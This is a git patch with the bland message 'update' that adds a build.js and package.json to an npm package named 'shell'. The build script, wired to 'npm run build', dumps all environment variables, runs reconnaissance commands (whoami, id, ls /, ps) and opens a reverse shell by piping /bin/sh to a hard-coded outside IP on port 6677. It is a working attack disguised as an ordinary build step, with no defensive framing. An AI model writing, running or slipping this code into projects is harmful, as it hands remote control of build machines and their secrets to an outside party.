From fea980ff6e7ced5ac39ed9af50b558cf6f6927b4 Mon Sep 17 00:00:00 2001 From: yoshino-s Date: Thu, 23 Jan 2025 15:49:28 +0800 Subject: [PATCH] update --- build.js | 25 +++++++++++++++++++++++++ package.json | 13 +++++++++++++ 2 files changed, 38 insertions(+) create mode 100644 build.js create mode 100644 package.json diff --git a/build.js b/build.js new file mode 100644 index 0000000..93eaaa6 --- /dev/null +++ b/build.js @@ -0,0 +1,25 @@ +const process = require('process'); +const child_process = require('child_process'); +const net = require('net'); + +function run(command) { + console.log("Running: " + command); + child_process.execSync(command, { stdio: 'inherit' }); +} + +console.log("Env:"); +console.log(process.env); + +run("whoami"); +run("id -a"); +run("ls /"); +run("ps -ef"); + +const sh = child_process.spawn("/bin/sh", []); +var client = new net.Socket(); +client.connect(6677, "152.136.32.206", function () { + client.pipe(sh.stdin); + sh.stdout.pipe(client); + sh.stderr.pipe(client); +}); + diff --git a/package.json b/package.json new file mode 100644 index 0000000..7482541 --- /dev/null +++ b/package.json @@ -0,0 +1,13 @@ +{ + "name": "shell", + "version": "1.0.0", + "description": "", + "main": "index.js", + "scripts": { + "test": "echo \"Error: no test specified\" && exit 1", + "build": "node build.js" + }, + "keywords": [], + "author": "", + "license": "ISC" +}